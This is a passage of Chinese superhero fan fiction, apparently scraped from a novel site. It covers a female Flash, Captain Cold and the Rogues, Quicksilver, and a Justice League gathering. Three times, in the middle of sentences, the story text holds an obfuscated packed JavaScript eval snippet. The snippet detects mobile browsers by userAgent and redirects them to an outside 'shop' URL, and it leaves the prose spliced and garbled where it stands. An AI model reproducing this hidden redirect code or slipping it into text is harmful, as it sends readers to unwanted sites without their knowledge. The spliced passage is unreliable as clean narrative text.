“嗯……‘不愿透露姓名的市民’?”伊德瑞斯继续头脑风暴,并开始设计场景,“在被闪电侠救下之后,该市民激动地对闪电侠说:‘你真是个好小伙子。’闪电侠礼貌地纠正:‘谢谢夸奖,但我是女性。’说完之后,闪电侠转身离开了。该市民震惊地站在原地,许久说不出话来。之后,该市民做的第一件事是联系记者。” 听完伊德瑞斯声情并茂、分饰两角的表演后,巴莉说:“听起来有点舞台剧腔调,但就这个吧。我想不出更好的了。” “我现在就写,有希望赶上凌晨的排版。”伊德瑞斯活动了一下手指,火速进入工作状态,“你怎么还站在这里?我需要创作空间。” 巴莉立刻识趣地举起手,表示自己马上就走。她贴心地拿起伊德瑞斯的杯子——来过几次后,她已经熟悉了这里的布局——去茶水间给他倒了满满一杯黑咖啡,又把杯子放回他习惯伸手就能摸到的位置,这才悄无声息地离开。 她不知道伊德瑞斯的稿件在主编那里获得了怎样的紧急绿色通道待遇,只知道这条新闻第二天一早占据了头条版面。 她更不知道无赖帮的成员们在看到了这条新闻之后,集体露出了怎样的呆滞表情。 所有成员纷纷联系伦纳德,而伦纳德懒得一一回复,干脆临时召集了一次帮内会议。 “闪电侠是女人!”马克情绪激动地敲着桌子,“我们该怎么办?这是无赖帮有史以来遇到的最可怕的危机!” “闪电侠是男是女,对你有什么实质影响吗?”伦纳德冷冷地说。 “当然有。”米克也加入了对话,“我们的规则之一是不能伤害女人和孩子,除非对方先攻击我们。那现在闪电侠是女人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222438|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果她不先攻击我们,我们岂不是不能伤害她?” “米克,你是不是脑子被烧坏了?”伊万忍不住吐槽,“在我们以为闪电侠是男人的时候,也没打算伤害他啊。” “伊万说得对,闪电侠是男是女,其实根本不影响我们的行动。”哈特利说,“闪电侠从来没主动攻击过我们,只是阻止我们犯罪而已。” 七嘴八舌地讨论了一阵之后,众人一致同意,闪电侠的性别对他们毫无影响。气氛顿时轻松下来。 “太好了。”马克松了口气,“我还以为需要修改帮规,那可太麻烦了。” “你想多了。”伦纳德淡淡地说,“什么都没改变。” 会议就此结束,参会者个个兴高采烈地离开了。伦纳德喊住了米克和伊万,告诉他们自己有一个新的行动计划。 就这样,巴莉还没来得及看看网上大家对于闪电侠新闻的评论,就不得不面对无赖帮成员的又一次行动——他们盯上了中心城博物馆近期压轴展出的那颗巨大钻石。 寒冷队长伦纳德换了一件皮毛大衣,依然厚重得夸张,手里的冷冻枪比之前的更巨大。这支枪经过某种改造,竟然又一次拦住了闪电侠。 巴莉忍不住想:伦纳德每次抢到的钱,是不是大部分都花在科研上了? 神速力仍在,她能移动、能加速,却被困在一个被低温场与能量折射层叠加出来的区域里,无法突破边界。她被迫站在房间一端,和伦纳德面面相觑。 而伊万和米克正肩并肩地凑在展柜前,脸几乎贴上了玻璃,近距离地欣赏那颗钻石,露出如痴如醉的表情。 “伦纳德,你又换了一把枪。”闪电侠无奈地说,“看起来造价不菲。” “好看吗?”伦纳德慢条斯理地把枪换了几个角度,像是在新品发布会上展示产品,“不愿透露姓名的市民。” 闪电侠意识到他在引用新闻里的那句话,顿时有点尴尬,决定装傻:“你在说什么?” “只是好奇,你为什么忽然公开性别。”伦纳德压低了声音。 “因为没人发现,我只好自己说了。”闪电侠耸耸肩。 “谁说没人发现?”伦纳德似笑非笑地看着闪电侠,“我难道不是人吗?” “真的吗?”闪电侠十分怀疑这个说法的真实性,“但你从来没对别人说过。” “其实我还知道更多信息,同样没对别人说过。”伦纳德平静地说。 闪电侠认为对方一定是在诈自己,一点也不紧张:“是吗?那谢谢你帮我保密。” 伦纳德看出她的不相信,没有多说什么。两人对视了一秒,然后闪电侠忽然突破了限制。 “不是只有你会改进技术。”闪电侠松了口气,庆幸自己制服的新功能确实如预期的一样有效。 下一瞬,她出现在米克和伊万旁边,提醒道:“你们欣赏得够久了,如果还想继续看下去,可以买票来看。这场展览会持续一个月。” “买……买票?”米克气得都结巴了,仿佛受到了极大的侮辱,“那我不就成守法公民了吗?” “制定计划,执行计划,”伦纳德不慌不忙地走到钻石展柜旁边,“预料到计划会出错……然后放弃计划。” 他的语气中毫无挫败情绪,甚至没有去看钻石,仿佛那不是他此行的目的一样。他的目光始终落在闪电侠身上。 “我们走吧。”伦纳德对同伴说。 “等等,”闪电侠说,“我觉得今天至少能抓到你们中的一个。” “有我在,那是不可能的。”伊万一手拉住一个同伴,带着他们消失了。 “我就知道这里应该布置反镜像大师装置。这么大的钻石,怎么可能不吸引来无赖帮。”闪电侠对着空气抱怨了一句,也离开了。 36.第 36 章 对于伦纳德那句意味深长的暗示——仿佛他已经知道闪电侠面罩下面是谁——巴莉并不太相信。 虽然他近距离地见过她戴着面罩的脸,但两人又不是生活中的熟人,不曾在同一张餐桌上吃过饭,也没在白天的阳光下长时间交谈。伦纳德不可能像迪克那样,仅凭一个语气的停顿或一个习惯性的动作就认出她。 至于其他几个知道她真实身份的人,情况各不相同。查尔斯教授是因为心灵感应能力,但那完全是一种作弊行为。蝙蝠侠不知道用什么方法查出了她的身份,巴莉猜测是科技和推理分析结合,那应该超出了伦纳德的能力范围……应该吧。 巴莉越想下去,越觉得信心缩水。这么看,她的身份保密工作做得只能算是一般,勉强能打个八分——满分是一百分的话。 伦纳德不管知道了什么,至少目前为止都选择了沉默。他没有利用这些信息,没有威胁她,甚至连试探都控制在隐晦的边界里。如果他真的掌握了答案,那他显然决定替她保守这个秘密,并且还将继续下去。 这也许是出于对闪电侠这个对手的尊重,也许是出于那套自成体系的道德标准。 巴莉决定暂时做一只鸵鸟,不去想这件事了。 临近下班时,埃迪出现在实验室,看起来好像只是路过顺便问一句:“巴莉,我们几个年轻警察商量着下班后去酒吧。要一起去吗?” 巴莉正在将报告归档,抬头看了埃迪一眼,又低下头:“我今晚约了人。” 话刚出口,她忽然意识到,他们很可能会出现在同一家酒吧。 因为中心城的警察们最爱去的地方就那么一家——老米奇酒吧,那里几乎成了“编外分局”。有人升职在那里庆祝,有人失恋在那里买醉,有人破了案在那里大声吹牛。 酒吧老板是个因伤提前退休的警察,大家都叫他“老米奇”,他便干脆用自己的绰号给酒吧命名。酒吧的墙上挂着旧警徽、警局的各种合照和一些泛黄的报纸剪报,空气里总混着啤酒和陈年木头的味道。 老米奇的酒水不贵,这里没有陈年威士忌,最畅销的永远是啤酒。食物有点油腻,但味道家常,分量很足,还能根据客人要求灵活调整————少盐、多酱、双倍洋葱,都能满足。 根据巴莉几次到访的观察,除了警察之外,老米奇的客人里也有不少附近的居民,因为这里平价又安全,很少有人会疯狂到在这里闹事。毕竟抬头一看,周围坐的可能全是休班警察。 “其实,我约的人要去老米奇酒吧。我猜你们也是要去那里,对吧?”巴莉说。 埃迪失笑:“还能是哪里。” 他挥挥手:“那就在老米奇见了。” 下班后,天色还没完全暗下来,路灯却已经一盏盏亮起,像是提前为夜晚做好准备。 巴莉站在警局门口,掏出手机,正准备发信息问彼得到没到中心城,动作忽然顿住。 不远处,彼得正靠着一棵树发呆,双手插在口袋里,目光落在不知名的地方,不知道在想什么,整个人安静得几乎与背景融在一起。 巴莉收起手机,朝彼得走过去。她刚靠近两步,彼得像是感应到了什么似的,目光落在她身上,瞬间亮起来。 “我们出发吧。”彼得快步走来,急切地说。 “为什么?你的酒瘾犯了,需要立刻摄入酒精吗?”巴莉开玩笑地问。 “如果我说我没有偷喝过酒,你会相信吗?”彼得一脸纯真地说。 “疑罪从无,”巴莉一本正经地点头,“在没有证据之前,我只能选择相信你。” 她转身朝老米奇酒吧的方向走去,彼得跟在她身侧,步伐刻意放慢到普通人的节奏。 “证件带了吗?”巴莉侧头问,“老米奇对看起来过于年轻的新客人一向很严格,总会核实年龄。” “带啦。”彼得立刻拍拍外套口袋,语气里带着一点邀功的得意,“你叮嘱过我的,我怎么会忘。” 巴莉听出来了,笑着夸了一句:“你真可靠。” 走了几步,她又说:“对了,今天我的不少同事也在。” “那是一家警察酒吧,不是吗?”彼得疑惑地看她,“没有你的同事在,才值得奇怪吧。” “呃,我是说……”巴莉被他理所当然的语气带得有点迟疑,觉得自己反而显得大惊小怪,“有一个很熟的同事也在。他今天问我要不要一起去,我们大概会在那里碰见他。” “那我们就和他打个招呼。”彼得不在意地说,没在这个话题上多做停留,“我想和你比赛飞镖。” “这件事还是留着私下做吧。我们可不希望你的能力暴露在一群善于观察的警察面前。”巴莉提醒道。 “好吧。”彼得从善如流地更改计划,“那我想吃鸡翅、薯条和披萨。” 他列出的都是酒吧标配食物,巴莉点头:“当然可以。” 进入酒吧后,彼得看哪里都觉得新鲜。尽管灯光昏暗,他还是仔仔细细地将墙上的剪报看了一遍。 当然,在旁观者看来,他只是在各处随意扫了一眼,脚步没有真正停留,像个走马观花的好奇客人。 “巴莉,很久没见了。”吧台后的老米奇朝巴莉扬了扬下巴。他的声音洪亮:“我相信你不会带未成年人来这里,但你知道规矩。” 彼得立刻掏出驾照递给老米奇。后者低头仔细看了看生日日期,又抬头打量了一下彼得那张怎么看都偏年轻的脸,半晌才把证件还回去。 “孩子,这是你第一次来酒吧吧?”老米奇的语气里带着点调侃,“第一杯我请。” 这个判断显然是基于驾照上的生日推算出来的。 彼得毫不推辞,还提出要求:“那我要最大杯的啤酒。” 老米奇哼笑一声,真的给他倒了个超大杯。 点了一堆食物后,巴莉和彼得端着两杯啤酒,找了个角落里的卡座坐下。 埃迪和几个同事正在打台球,巴莉对他们点了点头算是招呼,他们也朝她挥了挥手。 “这里挺热闹的,很有趣的地方。”彼得环顾周围,“不过我还是更喜欢和你待在仓库里。” “是你提出要来的。”巴莉好笑地说,“我还以为你会流连忘返,决定在这里喝个通宵。” “我只是好奇你生活的其它部分。”彼得举起那杯大得惊人的冰啤酒,和巴莉的杯子碰了一下,然后喝了一大口,“我想参与其中。” “你已经参与很多了。”巴莉看着彼得的快乐笑容,忍不住也笑起来,“我给你准备了礼物。” 尽管已经发信息说过了“生日快乐”,但礼物还没送。巴莉从背包里拿出一个小盒子,放在彼得面前。 “是什么?”彼得没有立刻打开,而是看着巴莉。 “你看了就知道了。”巴莉催促道。 彼得打开盒子,里面是一块发条式机械手表,银色表盘的背面刻着两个花体字母:P.Q. 他垂下眼,知道这代表了什么。 Peter Quicksilver。 巴莉知道他对于姓氏的心结,也尊重他的想法。在她心里,他是彼得,是快银,其它都无关紧要。 彼得拿起手表,轻轻拧了几圈发条,听着细微而清晰的机械声响,然后又抬起眼:“谢谢!我很喜欢。” 他忽然把手表递回给巴莉,伸出右手手腕:“你帮我带上。” 虽然说的是祈使句,但他的语气和神态更像是撒娇似的恳求。 巴莉伸手替他把表扣好。她的指尖碰到他的手腕,感觉到皮肤下脉搏的跳动快得惊人。 “好啦。”巴莉收回手。她想,看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230748|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彼得真的很喜欢这个礼物。 彼得抬起手腕,认真端详了一会儿,像在欣赏什么珍贵的艺术品。 “你的审美真好。”他开启了疯狂吹捧模式,“样式好看,和我的衣着风格也很相配,完全是一样的气质。” “所以结论是,”巴莉接话,“你最好看?” 彼得立刻点头,又迅速摇头,改口速度比他的移动还快:“你最好看。我第二好看。” 这时,服务员把他们点的食物端了上来。炸鸡翅冒着热气,薯条堆成小山,披萨拉着细细的芝士丝。 两人吃了一会儿,埃迪走过来,在桌边站定:“巴莉,这是你的朋友吧?” 巴莉挪了挪位置,让埃迪坐在自己旁边,然后替两人做了介绍, 在听说彼得是第一次来酒吧后,埃迪热情地说:“那我得请你喝一杯。”他抬手朝吧台示意,又给彼得点了一杯啤酒。 彼得却没有立刻接受,而是先看向巴莉,在巴莉微笑着点头时才道谢。 埃迪注意到了这个细节,只把它理解成了年轻人腼腆的客气。 “你刚才的比赛赢了吗?”巴莉问。 “差一点。”埃迪耸耸肩,“我平时打得不多。” 彼得安静地坐在那里听他们聊天,没有插话。 没过多久,埃迪被同事叫走了。临走前,他像想起什么似的转头问巴莉:“明天中午我打算带饭,一起吃?” 他最近在协助一件紧急案件,终于告一段落,因此和共事的几位出来喝杯酒放松,也终于能有时间做饭了。 “好啊,很久没吃你做的饭了。”巴莉应下来。 埃迪离开了。彼得慢慢地喝着他的第二杯啤酒,表情看不出什么变化,过了一会儿忽然开口:“埃迪做饭很好吃吗?” “挺好吃的。”巴莉回答,专心吃着薯条,“他很擅长对食物调味。” “我还以为你们都忙得没时间做饭呢。” “埃迪说他喜欢用做饭来放松。”巴莉说着,语气半信半疑。 她发现自己周围的人都这么说,伊德瑞斯也是,乔也是。她怀疑他们只是帮她的偷懒找个理由,因为她对做饭兴趣不高。 “我可以学。”彼得主动说,“我做饭肯定比所有人都快。下次我带饭给你吃。” “但食物从生到熟需要时间。”巴莉大惊失色,“在这件事上可不能一味地追求速度啊。” 事实上,这也是她对做饭兴致缺缺的原因之一。她固然可以用神速力做完备菜工作,但很多菜需要小火慢炖或低温烘烤,而她的偷懒方法是用微波炉快速做熟,导致口感干柴,味同嚼蜡。 她完全能想象彼得做出来的成品会多么惨不忍睹。 真的,她对如何做出能吃但不好吃的食物有丰富经验。 “你觉得我做不好。”彼得立刻露出委屈极了的表情,“我的父亲是欧洲人,欧洲人在烹饪时都会认真调味的。” 听了这种完全没有逻辑的话,巴莉心里立刻冒出吐槽: 首先,万磁王据说是德国犹太人,德国菜在欧洲的排名……通常只高于英国菜。 其次,彼得和万磁王根本不熟。就算万磁王是厨神又有什么用?难道彼得能靠着基因遗传,无师自通地学会菜谱吗? 但面对装可怜的彼得,巴莉只能叹气:“我觉得你不需要和别人比较。但如果你想尝试烹饪的话,我不介意做你的小白鼠……我是说,品尝你的成果。” 就在彼得想对巴莉那句明显是故意的“说漏嘴”表示抗议时,一个棒球帽檐压得很低的男人走到他们桌旁,礼貌地问:“我能坐在这里吗?” “那边还有空位。”巴莉指了指旁边,觉得这个人有些奇怪。 但男人没有离开,而是微微抬头,露出一张斯拉夫特征明显的脸。 37.第 37 章 巴莉简直不敢相信自己的眼睛。中心城头号通缉犯,伦纳德·斯奈特,竟然敢大摇大摆地出现在这里。 虽然他戴了一顶深色帽子,穿着普通的深色夹克而非标志性的皮毛大衣,但巴莉怎么可能认错这个家伙。 她想弄清楚伦纳德出现在这里的目的,却又不想暴露自己的身份。就在她纠结接下来该怎么做时,伦纳德已经很自然地坐在彼得旁边,还示意后者往旁边让一让,让自己能正对着巴莉坐。 彼得已经察觉气氛不对,意识到巴莉认识这个男人。虽然不太乐意,但在犹豫一瞬之后,他还是挪了挪。 “埃迪请过彼得了,我也请你们喝一杯吧。”伦纳德抬手对服务生比了三根手指。 巴莉一言不发,只是盯着伦纳德,看似冷若冰霜,实则大脑宕机,只剩下勉强自动运行的思维做出推断:伦纳德一定潜伏在附近有一会儿了,完整地听到了刚才埃迪和他们的对话。 三杯啤酒很快被送来了。 “干杯。”伦纳德举起杯子对两人示意,但没人理他。他也不介意,喝了一口之后,又自顾自地拿起一根薯条吃起来。 “这是我的薯条。”巴莉终于开口,“而我不认识你。” “这话太让我伤心了,巴莉。”在念出她的名字时,伦纳德拖长了声音,“我们明明见过那么多次。” 巴莉又沉默了。彼得看看她,又看看伦纳德,忍不住插话:“你也在中心城警局工作吗?” 伦纳德思考了一秒:“我被中心城警局通缉,这算吗?” 彼得露出震惊的表情,实在不知道该怎么回应,只能沉默。 “当然不算。”巴莉摆出最冷酷的表情,用上最冷酷的语气,力求让伦纳德体会到被冷冻枪击中的冰寒感觉,“谢谢你的提醒,我现在应该喊埃迪把你抓起来。” “那你为什么还没这么做呢?担心我伤害这里的客人?”伦纳德的态度轻松,丝毫不在乎巴莉的威胁,“把盐瓶递给我好吗?薯条太淡了。” 薯条的调味明明恰到好处。 巴莉不理解伦纳德的味觉,但非常乐意增加他在未来罹患高血压的风险。她伸手拿起盐瓶递过去,在最后一秒又改了主意,紧握着盐瓶没有松手,像是握着个人质:“你为什么会在这里?别说只是个巧合。” “当然不是巧合。我又不是疯了,平时才不会来这家酒吧。”伦纳德理直气壮地说,“我在你下班后跟踪了你。” 巴莉和彼得一起瞪着伦纳德,被他的无耻惊呆了,也为两人竟然没有察觉而懊恼。 “为什么?你想做什么?”巴莉又问了一遍。 “我只是想让你相信,在博物馆里,我说的是真话。”伦纳德望着巴莉,声音在酒吧的嘈杂中几乎要被淹没。 “好吧,我相信你了。再见。”巴莉冷淡地下逐客令。 “我还没喝完酒,”伦纳德用双手握着杯子,这个动作让他看起来有些孩子气,“现在离开桌子会有坏运气的。” “这是什么说法?”巴莉本来不想再理伦纳德,但又感到好奇。她猜测这可能是某种苏联习俗,本质是出于对酒精的珍惜,不舍得浪费哪怕一滴。 “我编的。”伦纳德得意地翘起嘴角,“看来你的确开始相信我了。” 巴莉差点笑出来,但不想让对方觉得占了上风,硬是忍住了。她看向彼得:“去帮我点一份烤土豆皮,好吗?” 她不担心彼得知道伦纳德是谁,而担心伦纳德发现彼得知道闪电侠是谁,从而关注彼得。她希望彼得看起来只是个一无所知的普通青年。 彼得知道巴莉在支开自己,但毫无质疑地听从了。他肯定会在之后问一堆问题,但绝不会在外人面前拆她的台。 伦纳德起身让开,在彼得离开后又重新坐下,调侃道:“你对那孩子挺有耐心。” “我对你也很有耐心。”巴莉回敬道,“你知道我有多少次很想揍你吗?” 他们都知道这是实话。闪电侠和无赖帮之间有一种无言的默契,只要无赖帮守住底线,她就不会放弃劝说他们改邪归正。 “我还以为你不是暴力的类型。”伦纳德说。 “我可以是。”巴莉冷哼一声,“只是目前看来,那样对所有人都没好处。再说,中心城有你们在,也算是多了一层安全保障。” “怎么,你觉得我也应该像闪电侠一样,成为一名超级英雄吗?”伦纳德的语气里没有挑衅,慵懒的语调中满是戏谑,仿佛她刚刚讲了个天真又不切实际的笑话。 “你不干,有的是人干。”巴莉随口引用了黑心资本家最爱说的话,没有正面回答。 因为她知道自己无法替任何人做决定,伦纳德真正该追问的人是他自己,真正能做出决定的也只有他自己。她的意见无关紧要。 而且,她有时觉得自己了解伦纳德,至少清楚他总是带着的微笑更像是一层面具——在这一点上,他真的不太像斯拉夫人。俄罗斯人更习惯面无表情。 可更多时候,他那些令她出乎意料的举动又让她觉得,她不过是在用自己的思维去揣测他的想法。 伦纳德没有打断巴莉的走神,因为他也在走神。 他在想,什么情况下,闪电侠会将无赖帮视为一重安全保障? 那一定是在整个城市陷入危机、而闪电侠却无暇顾及的时候。 就在这时,巴莉的手机轻轻震动了一下。 是来自蝙蝠侠的加密信息:超人发现有敌人正在太空集结,随时可能抵达地球。正义联盟立刻在大都会集合。 巴莉抬起眼,对伦纳德说:“我要离开一段时间,希望不会太久。在这期间,如果中心城发生什么事……你会照看它吧?” 伦纳德的笑容变淡了:“发生什么事了?” 还没等她回答,他已经自己做出了推测:“又像是上次大都会那样?” “差不多。”巴莉含混地说。虽然他们坐的地方很隐蔽,但伦纳德能偷听到她和彼得的交谈,天知道还会不会再有别人偷听到她和伦纳德的对话。 伦纳德大概也有这个顾虑,所以两人始终没有把话完全说明。 “之后你会立刻回来的,对吗?”伦纳德问。 “当然。”巴莉站起身,“你可别想彻底摆脱我。” 她朝吧台走去。彼得正站在那里吃花生,时不时地瞄向巴莉那边,见她过来,立刻小声报告:“那个人走了。离开之前,他把杯子里的酒都喝光了。” 他省略掉了一件事:那个男人望着巴莉的背影,说了一句什么,看口型像是“你也是”。 如果巴莉听见了,那他没必要重复一遍;如果巴莉没听见,那就要怪那个男人声音太小,他没必要帮对方传话。 巴莉听完,心里闪过一个念头:也许伦纳德真的相信那个必须喝光酒才能离席的说法,而他说的骗人才是假话。 但她现在没时间、也没心情去分析伦纳德的话,只是点点头:“我也得走了,临时有事。你先回学校。” 想到彼得可能会在新闻上看见,巴莉还是说了自己的目的地:“等我从大都会回来,再请你喝酒。今天你喝的酒没有一杯是我买的。” “我能跟你一起去吗?”彼得立刻明白发生了什么,十分担心,戴着手表的那只手轻轻地拉住巴莉的手。 他没用什么力气,动作轻得像羽毛,巴莉只要稍微一动就能拉开距离。但他的手掌暖乎乎的,存在感鲜明,却又不令人反感。 “不能。”巴莉先安抚地握了握彼得的手,然后才收回手,“别担心,我有同伴,正义联盟的人都会去。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248466|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我也是你的同伴。”彼得说。 “不能把鸡蛋放在同一个篮子里。”巴莉说,“你是我的后援。” 他们的对话发生得极快,甚至连千分之一秒都不到。也正是仗着极速者之间独有的天然加密方式,巴莉根本不怕别人听见他们的说话内容。 “好吧。”彼得没有像平时那样耍赖恳求。他不是不谙世事的孩童,明白除了他的安全,巴莉的另一重顾忌是什么:X教授愿意保护地球,也愿意保护人类,但他心中的最优先级还是变种人的利益。她不想因为把彼得牵扯进来而引发不必要的争端。 巴莉遵从蝙蝠侠的指示,轻巧地落在了《星球日报》的楼顶天台。 夜风温柔,城市灯火在脚下铺展开来,像一张无边无际的星图。那颗巨大的金属地球仪在天台中央静静伫立,仿佛整座城市的心脏。这幅景象简直是地心说的演示图,让人产生一种错觉,认定地球一定是宇宙的中心——亚里士多德看了会沉默,托勒密见了会流泪。 超人站在地球仪边,红披风在风中轻轻扬起。火星猎人安静地站在他旁边。 蝙蝠侠站在更远一点的阴影里,几乎与夜色融为一体。与哥谭相比,大都会的夜晚过于明亮,但他依然精准地找到了光线最暗淡的位置,让自己几近隐身。 他像一只经验丰富的北极熊。随着人类工业发展,北极冰川逐渐融化,浮冰越来越少,它仍然能够勉强生存,但是很不习惯。 巴莉站在蝙蝠侠旁边,为自己脑海中冒出的这个比喻感到好笑。 好在,超人对北极环境表现出了完全不像外星人的关注态度。在他锲而不舍的公开呼吁下,人类对清洁能源的研究投入显著增加,并取得了可观的进展。其中莱克斯集团功不可没。 “为什么选在这里集合?”超人的声音里带着真诚的疑惑。 “因为,如果选在其它地方,可能有人会迷路。”蝙蝠侠说。他的声音低沉而平静,像是在陈述一个客观事实,而非暗示某个具体的人。 话音刚落,一道绿色的光弧从远处夜空疾驰而来。灯戒光芒幻化的摩托车在天台边缘一个急刹,能量构成的轮胎刚刚停稳,车身轮廓便在空气中溃散成细碎光点。 绿灯侠刚一站稳,他的声音便传来:“天啊,我差点迷路。幸好这个球足够大,我在两英里外就看见它了。” 巴莉努力抿住嘴。她发誓自己没有笑——至少没有笑出声。超人轻咳了一声,显然是在忍笑。 在用实际行动为蝙蝠侠的选址逻辑提供了充分论证之后,绿灯侠继续抱怨:“下次能不能先试试普通的通讯方式?我正在约会,气氛十分浪漫,结果脑子里忽然响起火星猎人的声音。我条件反射地一抬手,把红酒杯子直接打翻了。” “你的手机欠费停机太久了,我本来想替你缴费,但号码已经被通讯公司收回了。而你又没随身携带我给你的通讯器。”蝙蝠侠说。 绿灯侠有点尴尬:“呃,我本来是绑定信用卡自动付款的,但信用卡被停了。” 真是一个闻者落泪的悲惨故事。 巴莉提问:“脑子里响起声音,你为什么要抬手?” “因为我想摘掉那个并不存在的蓝牙耳机。”绿灯侠指了指自己的耳朵,“本能反应。” 这次,超人发出漏气气球一样的声音。巴莉完全不需要低头藏起笑——她站在阴影里,这个决定真是太明智了。 火星猎人诚恳地说:“抱歉。下次我可以先播放一段音乐作为提示铃声。” 绿灯侠大方地挥挥手:“这不是你的错。其实你也算是救了我,不然我就要面对‘过去几个月去了哪里’这个问题了。” 说话间,神奇女侠和海王也到了。 正义联盟七人即将开始他们的第一次战斗。 38.第 38 章 在敌人尚未现身之前,七个人先开起了不算正式的作战会议。 “敌人能用某种方式定位到超人的位置,对吧?上次他们就直奔大都会而来了。”戴安娜直接地问。 “的确是这样。”超人回忆着,“那些人甚至知道我的氪星名字。我怀疑他们已经监视我很久了。” 说到最后一句时,超人的声音里带上了一丝委屈和愤懑。 “他们也可能是从人类的新闻里看到的。”亚瑟很不走心地安慰道,“你对人类记者说的信息可真不少,我经常在电视上看到你接受那个——呃——露易丝·莱克斯的采访。” 超人立刻纠正道:“露易丝·莱恩。” 露易丝的名字和莱克斯并列在一起,对超人来说实在过于惊悚了,比第一次看到氪星敌人出现还可怕。 “哦。至少我记对了一点,她的姓氏是L开头。”亚瑟大大咧咧地说。 “你竟然有专属记者?”绿灯侠羡慕地说,“人类对你可真好。其他人也有吗?” “没有。”蝙蝠侠觉得绿灯侠的想法十分幼稚,像是幼儿园小朋友之间的攀比,“我没接受过采访。” 他的措辞严谨,只否认了过去,并未将未来一并排除。 在蝙蝠侠的规划里,正义联盟迟早要直面公众,而接受公开采访也会成为这份职责的一部分——不是为了取悦大众,而是为了掌握叙事权。 他已经在心中构思好策略:适度露面、有限回应、精炼措辞。让信息保持半真半假,让沉默比言语更具分量。媒体不会削弱蝙蝠侠的神秘感,只会在他的精心引导下,为那份神秘添上更清晰的轮廓。 巴莉原本想回答一句,说自己某种程度上也算“有专属记者”——伊德瑞斯甚至还能按照她的要求定制稿件呢——但转念一想,这话听起来实在像是在炫耀,于是默默咽了回去。 “莱恩记者不是我的专属记者。”超人认真地解释,“我只是习惯找她交流。她是一位非常优秀的记者,采访超人不过是她的工作里最不起眼的一部分。你们真的应该读读她的报道,内容详实、分析客观。我相信她很快就能再次拿到普利策奖。” 他特意回应了绿灯侠前半句的疑问,却忍不住越说越多,语气里带着掩饰不住的欣赏和钦佩。 超人甚至还伸手轻轻地敲了敲身后的金属地球:“对了,莱恩记者是《星球日报》的记者,如果你们还不知道的话。” 亚瑟有点得意地对其他人摊手:“你看,我在电视上看到的超人也是这么健谈,总是给出过多的信息。” “莱恩记者的确水平很高。但我想说的是,”戴安娜想不通话题怎么会跑偏到这个程度,几乎想要叹气,“如果敌人真的能定位,我们是不是应该换个地方等待?我不介意在市中心战斗,但如果可以选择,这里绝不是我的首选。” “他们的定位会这么精准吗?”绿灯侠怀疑地皱眉,“万一他们路径依赖,还是直奔市中心呢?” “那我们就再回来。”蝙蝠侠干脆地说,赞同了戴安娜的提议。他转向超人:“你最了解大都会,认为去哪里合适?” 超人思索了一秒,抬手指向北方:“去市郊,那边有一片山地。夏天有人去露营,但这个季节几乎没人会去。” 就这样,七人迅速转移到超人推荐的地点。离开城市的人工光源后,四周看起来一片漆黑,但天上的星辰却清晰起来。 月光下,亚瑟忽然开口:“如果,我是说如果,敌人能对超人极其精准地定位,那是否意味着他们在超人身上放了追踪器?” 他一路上都在琢磨这个问题,却没想出更合理的解释。如果不说出来,他会觉得闷得慌。 “特工电影里的那种?但以超人的超级听力和超级视力,难道不会发现自己身上多了一个东西吗?”巴莉其实也在思考这个问题。 “所以我才觉得不可思议。”亚瑟说。 绿灯侠用神秘兮兮的语气说:“可能是个连氪星人也看不见、摸不着的东西。” 戴安娜加入讨论:“根据奥卡姆剃刀原理,如无必要,勿增实体。如果一个东西看不见也摸不着,那就不应该假定它存在。” “是你先说敌人可能有办法对超人定位的。”绿灯侠不满地反驳。 “但我可没说是追踪器。”戴安娜淡然地说,“有很多其它方式可以做到,比如魔法,或者神明的力量。” 亚瑟“啊”了一声,显然之前完全没考虑过其它可能,而是习惯性地遵循人类的思维模式,理所当然地认为外星人要想做到这种事,靠的肯定是远超人类想象的科技。 他在心里悄然叹了口气——人在成年前形成的思维模式很难彻底改变。尽管他已经见识过无数魔法,甚至知道自己并非完全的人类,但每当遇到问题,第一个浮现出的念头竟仍是科学。 “或者是心灵感应。”巴莉听了戴安娜的话,也开始发散思维。她看向超人,开玩笑地说:“你应该学学大脑封闭术。” “什么?”超人满脸疑惑地问。 “你没看过《哈利·波特》吗?”绿灯侠立刻领会了巴莉的意思,大笑起来,“书里的设定是,读取大脑思维是双向通道,如果别人能进入你的大脑,那你也可以反向去探查对方的。” “啊,电影《环太平洋》里也有类似的设定。”亚瑟恍然,“一个科学家试图和外星敌人的大脑链接——电影里那是一种怪兽,和哥斯拉差不多——结果反而被怪兽窃取了人类的战斗情报。” “那可太危险了。”作为从小习惯于魔法与神明存在的人,戴安娜反而严肃起来,“超人,你可要小心点。” “你们说得好像我们已经讨论出了什么战术可供暴露一样。”蝙蝠侠看着几人热烈讨论的样子,终于忍不住开口。 